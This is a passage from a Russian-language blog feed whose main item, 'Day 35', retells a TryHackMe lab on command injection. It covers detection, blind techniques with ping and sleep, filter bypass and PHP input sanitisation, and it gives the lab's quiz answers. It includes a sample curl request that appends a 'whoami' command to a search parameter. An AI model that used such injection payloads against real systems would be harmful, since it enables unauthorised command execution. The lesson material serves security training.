  &lt;p id=&quot;cBCQ&quot;&gt;Для дальнейшего совершенствования ваших навыков я рекомендую вам практиковаться и экспериментировать с Burp Suite . Изучите его возможности, попробуйте различные конфигурации и ознакомьтесь с его разнообразными инструментами. Чем больше вы будете использовать Burp Suite , тем более опытными вы станете в выявлении и использовании уязвимостей в веб-приложениях.&lt;/p&gt;
  &lt;p id=&quot;xoLV&quot;&gt;В следующей комнате модуля мы углубимся в изучение &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot; target=&quot;_blank&quot;&gt;Burp Suite Repeater&lt;/a&gt; , еще одного мощного инструмента для ручного тестирования и обработки запросов веб-приложений. Продолжайте учиться и проявляйте любопытство!&lt;/p&gt;
  &lt;p id=&quot;5NTK&quot;&gt;Сохраняйте любопытство и продолжайте учиться!&lt;/p&gt;
  &lt;figure id=&quot;StUm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9e/61/9e614193-5c34-47f2-bba4-976272faac03.png&quot; width=&quot;988&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;6fyq&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_39</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_39?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 35. Command Injection</title><published>2026-02-23T16:14:02.783Z</published><updated>2026-02-23T16:14:14.690Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/02/3c/023c9dc9-81fa-43d6-a37c-fcc444286c5a.png"></media:thumbnail><category term="obuchenie-post" label="obuchenie_post"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/0c/e7/0ce7abdf-f215-460d-a44f-11a671ca15da.jpeg&quot;&gt;Узнайте об уязвимости, позволяющей выполнять команды через уязвимое приложение, и о способах ее устранения.</summary><content type="html">
  &lt;figure id=&quot;BEi2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0c/e7/0ce7abdf-f215-460d-a44f-11a671ca15da.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JCAX&quot;&gt;Узнайте об уязвимости, позволяющей выполнять команды через уязвимое приложение, и о способах ее устранения.&lt;/p&gt;
  &lt;figure id=&quot;b4Yi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2rrZ&quot;&gt;Начнем&lt;/p&gt;
  &lt;figure id=&quot;0rYx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;c6mD&quot;&gt;&lt;strong&gt;1. Введение (Что такое внедрение команд?)&lt;/strong&gt;&lt;/h2&gt;
  &lt;figure id=&quot;Nqqy&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/239e76f6de5e7ebaa1dffff2d28ff36c.png&quot; width=&quot;512&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ag5G&quot;&gt;В этой комнате мы рассмотрим веб-уязвимость, называемую внедрением команд . После того, как мы разберемся, что это за уязвимость, мы продемонстрируем ее влияние и риски, которые она представляет для приложения.&lt;/p&gt;
  &lt;p id=&quot;4cIW&quot;&gt;Затем вы сможете применить эти знания на практике, а именно:&lt;/p&gt;
  &lt;ul id=&quot;UZqE&quot;&gt;
    &lt;li id=&quot;yvsO&quot;&gt;Как обнаружить уязвимость внедрения команд&lt;/li&gt;
    &lt;li id=&quot;c5Id&quot;&gt;Как протестировать и использовать эту уязвимость с помощью полезных нагрузок, разработанных для разных операционных систем.&lt;/li&gt;
    &lt;li id=&quot;ISdc&quot;&gt;Как предотвратить эту уязвимость в приложении&lt;/li&gt;
    &lt;li id=&quot;hqqS&quot;&gt;В заключение, в конце занятия вы сможете применить теоретические знания на практике.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;gFEy&quot;&gt;Для начала давайте разберемся, что такое внедрение команд . Внедрение команд — это злоупотребление поведением приложения для выполнения команд в операционной системе с использованием тех же привилегий, с которыми приложение работает на устройстве. Например, внедрение команд на веб-сервере, работающем от имени пользователя с именем, &lt;code&gt;joe&lt;/code&gt;приведет к выполнению команд от имени этого &lt;code&gt;joe&lt;/code&gt;пользователя — и, следовательно, к получению всех имеющихся у него разрешений &lt;code&gt;joe&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;9Dmb&quot;&gt;Внедрение команд также часто называют «удалённым выполнением кода» (RCE) из-за возможности удалённого выполнения кода внутри приложения. Эти уязвимости часто наиболее выгодны для злоумышленника, поскольку означают, что он может напрямую взаимодействовать с уязвимой системой. Например, злоумышленник может читать системные или пользовательские файлы, данные и тому подобное.&lt;/p&gt;
  &lt;p id=&quot;nxUh&quot;&gt;Например, возможность злоупотребить приложением для выполнения команды, &lt;code&gt;whoami&lt;/code&gt;позволяющей вывести список учетных записей пользователей, работающих в этом приложении, будет примером внедрения команд .&lt;/p&gt;
  &lt;p id=&quot;mz19&quot;&gt;Внедрение команд вошло в десятку наиболее распространенных уязвимостей, о которых сообщалось в отчете Contrast Security AppSec Intelligence за 2019 год ( &lt;a href=&quot;https://www.contrastsecurity.com/security-influencers/insights-appsec-intelligence-report&quot; target=&quot;_blank&quot;&gt;Contrast Security AppSec., 2019&lt;/a&gt; ). Более того, фреймворк OWASP постоянно предлагает уязвимости такого рода в качестве одной из десяти наиболее распространенных уязвимостей веб-приложений ( &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot; target=&quot;_blank&quot;&gt;фреймворк OWASP&lt;/a&gt; ).&lt;/p&gt;
  &lt;h2 id=&quot;T743&quot;&gt;&lt;strong&gt;2. Обнаружение внедрения команд&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;J3EA&quot;&gt;Эта уязвимость существует потому, что приложения часто используют функции в таких языках программирования, как PHP , Python и NodeJS, для передачи данных и выполнения системных вызовов в операционной системе компьютера. Например, для получения входных данных из поля и поиска записи в файле. В качестве примера рассмотрим приведенный ниже фрагмент кода:&lt;/p&gt;
  &lt;p id=&quot;RVS5&quot;&gt;В этом фрагменте кода приложение принимает данные, которые пользователь вводит в поле ввода с именем&lt;code&gt;$title &lt;/code&gt;Чтобы найти название песни в каталоге, давайте разберем этот процесс на несколько простых шагов.&lt;/p&gt;
  &lt;figure id=&quot;QphM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/a54a09f7c4efa1d340ab678ece230c44.png&quot; width=&quot;1396&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tP4m&quot;&gt;&lt;strong&gt;1.&lt;/strong&gt; Приложение сохраняет MP3-файлы в каталоге, расположенном в операционной системе.&lt;/p&gt;
  &lt;p id=&quot;Wp5f&quot;&gt;&lt;strong&gt;2.&lt;/strong&gt; Пользователь вводит название песни, которую хочет найти. Приложение сохраняет этот ввод в &lt;code&gt;$title&lt;/code&gt;переменную.&lt;/p&gt;
  &lt;p id=&quot;bzHp&quot;&gt;&lt;strong&gt;3.&lt;/strong&gt; Данные из этой &lt;code&gt;$title&lt;/code&gt;переменной передаются команде &lt;code&gt;grep&lt;/code&gt;для поиска в текстовом файле с именем &lt;em&gt;songtitle.txt записи &lt;/em&gt;, которую пользователь желает найти.&lt;/p&gt;
  &lt;p id=&quot;G8Wr&quot;&gt;&lt;strong&gt;4.&lt;/strong&gt; Результат поиска по файлу &lt;em&gt;songtitle.txt определит &lt;/em&gt;, сообщит ли приложение пользователю о существовании песни или нет.&lt;/p&gt;
  &lt;p id=&quot;0VDs&quot;&gt;Обычно подобная информация хранится в базе данных; однако это лишь пример того, как приложение получает ввод от пользователя для взаимодействия с операционной системой.&lt;/p&gt;
  &lt;p id=&quot;6B2W&quot;&gt;Злоумышленник может злоупотребить этим приложением, внедрив в него собственные команды для выполнения. Вместо того чтобы использовать его &lt;code&gt;grep&lt;/code&gt;для поиска записи в файле &lt;code&gt;songtitle.txt&lt;/code&gt;, он может попросить приложение прочитать данные из более конфиденциального файла.&lt;/p&gt;
  &lt;p id=&quot;FkWt&quot;&gt;Злоупотребление приложениями таким образом возможно независимо от используемого языка программирования. Пока приложение обрабатывает и выполняет его, это может привести к внедрению команд. Например, приведенный ниже фрагмент кода — это приложение, написанное на Python.&lt;/p&gt;
  &lt;figure id=&quot;GtFa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/04a1cb87fad0a9b47761afddc48e0bf2.png&quot; width=&quot;902&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WpqD&quot;&gt;Обратите внимание, что от вас не требуется понимание синтаксиса этих приложений. Однако, для наглядности, я также описал шаги работы этого приложения на Python.&lt;/p&gt;
  &lt;ol id=&quot;bWyl&quot;&gt;
    &lt;li id=&quot;48Pg&quot;&gt;Пакет &amp;quot;flask&amp;quot; используется для настройки веб-сервера.&lt;/li&gt;
    &lt;li id=&quot;L70J&quot;&gt;Функция, использующая пакет &amp;quot;subprocess&amp;quot; для выполнения команды на устройстве.&lt;/li&gt;
    &lt;li id=&quot;EHfS&quot;&gt;Мы используем маршрут в веб-сервере , который будет выполнять всё предоставленное. Например, чтобы выполнить команду &lt;code&gt;whoami&lt;/code&gt;, нам нужно будет перейти по адресу http : //flaskapp.thm/whoami&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Hq3H&quot;&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;uk4q&quot;&gt;Вопрос: Какая переменная хранит ввод пользователя в фрагменте PHP-кода в этом задании?&lt;/p&gt;
    &lt;p id=&quot;0kdv&quot;&gt;Ответ:&lt;strong&gt;$title&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;6EKs&quot;&gt;Вопрос: Какой HTTP-метод используется для получения данных, отправленных пользователем, в приведенном фрагменте PHP-кода?&lt;/p&gt;
    &lt;p id=&quot;Om1V&quot;&gt;Ответ:&lt;strong&gt;Get&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;INsh&quot;&gt;Вопрос: Если я хочу выполнить &lt;code&gt;id&lt;/code&gt;команду из приведенного фрагмента кода на Python, какой маршрут мне нужно будет посетить?&lt;/p&gt;
    &lt;p id=&quot;wEqH&quot;&gt;Ответ: &lt;strong&gt;/id&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;W60x&quot;&gt;&lt;strong&gt;3. Использование уязвимостей внедрения команд&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;ZbyZ&quot;&gt;Зачастую определить возможность внедрения команд можно по поведению приложения, как вы увидите на практическом занятии в этой комнате.&lt;/p&gt;
  &lt;p id=&quot;J0vi&quot;&gt;Приложения, использующие ввод пользователя для заполнения системных команд данными, часто могут комбинироваться, что приводит к непредусмотренному поведению. &lt;strong&gt;Например, операторы оболочки &amp;#x60;sudo&amp;#x60; &lt;code&gt;;&lt;/code&gt;, &amp;#x60; sudo&amp;#x60; &lt;code&gt;&amp;amp;&lt;/code&gt;и &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&amp;#x60;sudo&amp;#x60; объединяют две (или более) системные команды и выполняют обе&lt;/strong&gt; . Если вам незнакома эта концепция, стоит ознакомиться с &lt;a href=&quot;https://tryhackme.com/module/linux-fundamentals&quot; target=&quot;_blank&quot;&gt;модулем «Основы Linux»&lt;/a&gt; , чтобы узнать об этом больше.&lt;/p&gt;
  &lt;p id=&quot;nIxD&quot;&gt;Внедрение команд можно обнаружить, как правило, двумя способами:&lt;/p&gt;
  &lt;ol id=&quot;Vuq5&quot;&gt;
    &lt;li id=&quot;V0Js&quot;&gt;Слепая инъекция команд&lt;/li&gt;
    &lt;li id=&quot;XswW&quot;&gt;Подробная инъекция команд&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;NG6K&quot;&gt;Эти два метода описаны в таблице ниже, а более подробное объяснение приведено в двух разделах, расположенных ниже.&lt;/p&gt;
  &lt;p id=&quot;zVr9&quot;&gt;&lt;strong&gt;Метод&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;5oKz&quot;&gt;&lt;strong&gt;Описание&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;DOOv&quot;&gt;Слепой&lt;/p&gt;
  &lt;p id=&quot;DOBI&quot;&gt;Этот тип внедрения происходит, когда при тестировании полезной нагрузки приложение не выдает прямого результата. Вам придется изучить поведение приложения, чтобы определить, была ли ваша полезная нагрузка успешной.&lt;/p&gt;
  &lt;p id=&quot;uk3y&quot;&gt;Многословный&lt;/p&gt;
  &lt;p id=&quot;MMS4&quot;&gt;Этот тип внедрения предполагает прямую обратную связь от приложения после тестирования полезной нагрузки. Например, запуск команды &lt;code&gt;whoami&lt;/code&gt;для определения пользователя, под которым работает приложение. Веб-приложение выведет имя пользователя непосредственно на страницу.&lt;/p&gt;
  &lt;p id=&quot;ZnEj&quot;&gt;&lt;u&gt;Обнаружение внедрения слепых команд&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;rzBh&quot;&gt;Слепое внедрение команд — это внедрение команды , при котором отсутствует видимый результат, поэтому оно не сразу заметно. Например, команда выполняется, но веб-приложение не выводит никакого сообщения.&lt;/p&gt;
  &lt;p id=&quot;40Nm&quot;&gt;Для такого типа внедрения команд нам потребуется использовать полезные нагрузки, которые вызовут некоторую задержку по времени. Например, команды &amp;#x60;ping&amp;#x60; &lt;code&gt;ping&lt;/code&gt;и &amp;#x60;ping&amp;#x60; &lt;code&gt;sleep&lt;/code&gt;являются важными полезными нагрузками для тестирования. Используя &amp;#x60;ping&amp;#x60; &lt;code&gt;ping&lt;/code&gt;в качестве примера, приложение зависнет на &lt;em&gt;x &lt;/em&gt;секунд в зависимости от количества указанных вами &lt;em&gt;пингов .&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;D88x&quot;&gt;Ещё один метод обнаружения внедрения команд вслепую — это принудительное выделение некоторого вывода. Это можно сделать с помощью операторов перенаправления, таких как &lt;code&gt;&amp;gt;&lt;/code&gt;&amp;#x60;.&amp;#x60;. Если вы с этим не знакомы, рекомендую ознакомиться с &lt;a href=&quot;https://tryhackme.com/module/linux-fundamentals&quot; target=&quot;_blank&quot;&gt;модулем «Основы Linux» &lt;/a&gt;. Например, мы можем указать веб-приложению выполнить такие команды, как &amp;#x60;,&amp;#x60; &lt;code&gt;whoami&lt;/code&gt;и перенаправить их в файл. Затем мы можем использовать команду, например, &amp;#x60;,&amp;#x60; &lt;code&gt;cat&lt;/code&gt;для чтения содержимого этого вновь созданного файла.&lt;/p&gt;
  &lt;p id=&quot;UnEh&quot;&gt;Проверка внедрения команд таким способом часто бывает сложной и требует немалого количества экспериментов, особенно учитывая различия в синтаксисе команд между Linux и Windows.&lt;/p&gt;
  &lt;p id=&quot;4AiW&quot;&gt;Эта &lt;code&gt;curl&lt;/code&gt; команда — отличный способ проверить возможность внедрения команд . Это связано с тем, что вы можете использовать её &lt;code&gt;curl&lt;/code&gt; для передачи данных в приложение и из приложения в составе полезной нагрузки. В качестве примера рассмотрим приведенный ниже фрагмент кода: простая полезная нагрузка curl для приложения может быть использована для внедрения команд.&lt;/p&gt;
  &lt;p id=&quot;Befp&quot;&gt;&lt;code&gt;curl http://vulnerable.app/process.php%3Fsearch%3DThe%20Beatles%3B%20whoami&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;D2Eo&quot;&gt;&lt;u&gt;Обнаружение внедрения подробных команд&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;Heb8&quot;&gt;Обнаружение внедрения команд таким способом, пожалуй, является самым простым из двух методов. Подробное описание внедрения команд — это когда приложение предоставляет обратную связь или вывод о том, что происходит или выполняется.&lt;/p&gt;
  &lt;p id=&quot;E1Bj&quot;&gt;Например, результаты выполнения таких команд, как &lt;code&gt;ping&lt;/code&gt;или , &lt;code&gt;whoami&lt;/code&gt;отображаются непосредственно в веб-приложении.&lt;/p&gt;
  &lt;p id=&quot;J0eL&quot;&gt;&lt;u&gt;Полезные полезные нагрузки&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;fglv&quot;&gt;В таблицах ниже я собрал несколько полезных программ для Linux и Windows.&lt;/p&gt;
  &lt;p id=&quot;yCkd&quot;&gt;&lt;u&gt;Linux&lt;/u&gt;&lt;/p&gt;
  &lt;figure id=&quot;97CJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/11/c3/11c30e0f-f41f-4554-9655-708e94d68c64.png&quot; width=&quot;1263&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0L7r&quot;&gt;&lt;u&gt;Windows&lt;/u&gt;&lt;/p&gt;
  &lt;figure id=&quot;4BwN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b2/83/b283328f-cda3-4fa1-81af-ea249e2e961a.png&quot; width=&quot;1101&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;9fAp&quot;&gt;Вопрос: Какую полезную нагрузку мне следует использовать, если я хочу определить, от имени какого пользователя запущено приложение?&lt;/p&gt;
    &lt;p id=&quot;en5W&quot;&gt;Ответ: whoami&lt;/p&gt;
    &lt;p id=&quot;kbRo&quot;&gt;Вопрос: Какой популярный сетевой инструмент я бы использовал для проверки возможности внедрения команд вслепую на машине &lt;strong&gt;с Linux&lt;/strong&gt; ?&lt;/p&gt;
    &lt;p id=&quot;M2UG&quot;&gt;Ответ:ping&lt;/p&gt;
    &lt;p id=&quot;ikMV&quot;&gt;Вопрос: Какую полезную нагрузку я бы использовал для проверки машины под управлением &lt;strong&gt;Windows&lt;/strong&gt; на предмет слепой инъекции команд?&lt;/p&gt;
    &lt;p id=&quot;5n8T&quot;&gt;Ответ:timeout&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;UWxV&quot;&gt;&lt;strong&gt;4. Устранение последствий внедрения команд&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;0nWd&quot;&gt;Внедрение команд можно предотвратить различными способами. Начиная от минимального использования потенциально опасных функций или библиотек в языке программирования и заканчивая фильтрацией входных данных без учета ввода пользователя. Ниже я более подробно опишу эти способы. Примеры ниже приведены для языка программирования PHP ; однако те же принципы могут быть распространены на многие другие языки.&lt;/p&gt;
  &lt;p id=&quot;ucbB&quot;&gt;&lt;strong&gt;&lt;u&gt;Уязвимые функции&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;EKR5&quot;&gt;В PHP многие функции взаимодействуют с операционной системой для выполнения команд через командную оболочку; к ним относятся:&lt;/p&gt;
  &lt;ul id=&quot;Rrz3&quot;&gt;
    &lt;li id=&quot;3Tom&quot;&gt;Исполнительный директор&lt;/li&gt;
    &lt;li id=&quot;FLGV&quot;&gt;Проход&lt;/li&gt;
    &lt;li id=&quot;DIKb&quot;&gt;Система&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;b96U&quot;&gt;Рассмотрим приведенный ниже фрагмент кода в качестве примера. Здесь приложение будет принимать и обрабатывать только числа, введенные в форму. Это означает, что любые команды, такие как [неразборчиво], &lt;code&gt;whoami&lt;/code&gt;обрабатываться не будут.&lt;/p&gt;
  &lt;figure id=&quot;I5Th&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/14acf436361fcfb7efced4b2f416b3d5.png&quot; width=&quot;834&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;2E64&quot;&gt;
    &lt;li id=&quot;xDvP&quot;&gt;Приложение принимает только определённый набор символов (цифры от 0 до 9).&lt;/li&gt;
    &lt;li id=&quot;ocO2&quot;&gt;Затем приложение перейдет к обработке только этих данных, которые носят исключительно числовой характер.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;HnWU&quot;&gt;Эти функции принимают на вход строку или пользовательские данные и выполняют всё, что предоставлено системой. Любое приложение, использующее эти функции без надлежащей проверки, будет уязвимо для внедрения команд.&lt;/p&gt;
  &lt;p id=&quot;zgoc&quot;&gt;&lt;strong&gt;&lt;u&gt;Очистка входных данных&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;7dL2&quot;&gt;Проверка и очистка любых входных данных от пользователя, используемых приложением, — отличный способ предотвратить внедрение команд. Это процесс определения форматов или типов данных, которые может отправлять пользователь. Например, поле ввода, принимающее только числовые данные или удаляющее любые специальные символы, такие как запятая &lt;code&gt;&amp;gt;&lt;/code&gt;и  &lt;code&gt;&amp;amp;&lt;/code&gt;пробел &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;45Ry&quot;&gt;В приведенном ниже фрагменте кода используется &lt;a href=&quot;https://www.php.net/manual/en/function.filter-input.php&quot; target=&quot;_blank&quot;&gt;функция &lt;/a&gt;&lt;code&gt;filter_input&lt;/code&gt; &lt;a href=&quot;https://www.php.net/manual/en/function.filter-input.php&quot; target=&quot;_blank&quot;&gt;PHP&lt;/a&gt; для проверки того, являются ли данные, введенные через форму ввода, числом или нет. Если это не число, значит, данные недействительны.&lt;/p&gt;
  &lt;figure id=&quot;5Rub&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/06e83dfe3791664ed0bb9bc9ffd3e581.png&quot; width=&quot;654&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Tlk8&quot;&gt;&lt;u&gt;Обход фильтров&lt;/u&gt;&lt;/p&gt;
  &lt;p id=&quot;fna5&quot;&gt;Приложения используют множество методов фильтрации и очистки данных, получаемых от пользователя. Эти фильтры ограничивают доступ к определенным типам данных; однако мы можем использовать логику приложения для обхода этих фильтров. Например, приложение может удалять кавычки; вместо этого мы можем использовать шестнадцатеричное значение этих кавычек для достижения того же результата.&lt;/p&gt;
  &lt;p id=&quot;ABDo&quot;&gt;При выполнении, хотя предоставленные данные будут иметь формат, отличающийся от ожидаемого, их все равно можно будет интерпретировать, и результат будет тем же.&lt;/p&gt;
  &lt;figure id=&quot;14LF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/fd59464e2884390ee1b8bb52b327d454.png&quot; width=&quot;588&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;h7zZ&quot;&gt;Вопрос: Как называется процесс «очистки» пользовательского ввода, предоставляемого приложению?&lt;/p&gt;
    &lt;p id=&quot;jjoz&quot;&gt;Ответ: &lt;strong&gt;sanitisation  (ну по идее Санация (или Очистка / Валидация))&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;NVWw&quot;&gt;&lt;strong&gt;5. Практическое занятие: Внедрение команд (развертывание)&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;60An&quot;&gt;Запустите машину, подключенную к этой задаче; она станет видна в режиме разделенного экрана, как только будет готова.&lt;/p&gt;
  &lt;figure id=&quot;n0md&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5de96d9ca744773ea7ef8c00/room-content/32b86b4183b33d87911340a9effc566a.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Z9Nn&quot;&gt;Протестируйте несколько полезных нагрузок в приложении, размещенном на веб-сайте и отображаемом в режиме разделенного экрана, чтобы проверить возможность внедрения команд. Обратитесь к &lt;a href=&quot;https://github.com/payloadbox/command-injection-payload-list&quot; target=&quot;_blank&quot;&gt;этой шпаргалке,&lt;/a&gt; если у вас возникнут трудности или вы захотите изучить более сложные полезные нагрузки.&lt;/p&gt;
  &lt;p id=&quot;WSux&quot;&gt;Найдите содержимое флага, расположенного в файле &lt;strong&gt;/home/tryhackme/flag.txt&lt;/strong&gt; . Для этого можно использовать различные полезные нагрузки — я рекомендую попробовать несколько вариантов.&lt;/p&gt;
  &lt;figure id=&quot;kSkS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/41/e041aea2-3e1a-4c2b-a2ee-c7351a2ab759.png&quot; width=&quot;539&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;wf0Z&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/cf/cccfe411-818c-4917-9fab-c91c0bf6447a.png&quot; width=&quot;713&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;4ukx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a8/cd/a8cd41a4-def3-4efc-a996-2283009377b8.png&quot; width=&quot;682&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;UlTV&quot;&gt;Вопрос: От имени какого пользователя запущено это приложение?&lt;/p&gt;
    &lt;p id=&quot;tp9y&quot;&gt;Ответ:www-data&lt;/p&gt;
    &lt;p id=&quot;NDpb&quot;&gt;Вопрос: Что содержит флаг, расположенный в файле  /home/tryhackme/flag.txt ?&lt;/p&gt;
    &lt;p id=&quot;A3ZA&quot;&gt;Ответ:&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;ftgL&quot;&gt;&lt;strong&gt;6. Заключение&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;zioG&quot;&gt;Молодец, что дошли до конца этой комнаты. Вкратце, мы изучили следующие элементы внедрения команд :&lt;/p&gt;
  &lt;ul id=&quot;Zo9o&quot;&gt;
    &lt;li id=&quot;9p31&quot;&gt;Как обнаружить уязвимость внедрения команд&lt;/li&gt;
    &lt;li id=&quot;kKr8&quot;&gt;Как протестировать и использовать эту уязвимость с помощью полезных нагрузок, разработанных для разных операционных систем.&lt;/li&gt;
    &lt;li id=&quot;GPwM&quot;&gt;Как предотвратить эту уязвимость в приложении&lt;/li&gt;
    &lt;li id=&quot;Gp5O&quot;&gt;Применение полученных знаний на практике путем выполнения внедрения команд.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;AJf2&quot;&gt;Как вы, вероятно, уже выяснили, существует несколько полезных нагрузок, которые можно использовать для достижения одной и той же цели. Я настоятельно рекомендую вам вернуться к практической стороне этой задачи и попробовать альтернативные методы извлечения флага.&lt;/p&gt;
  &lt;figure id=&quot;Kkkj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/13/33/13330e35-68cd-4e69-9f78-df7b42f33d6e.png&quot; width=&quot;768&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;ZVQ0&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

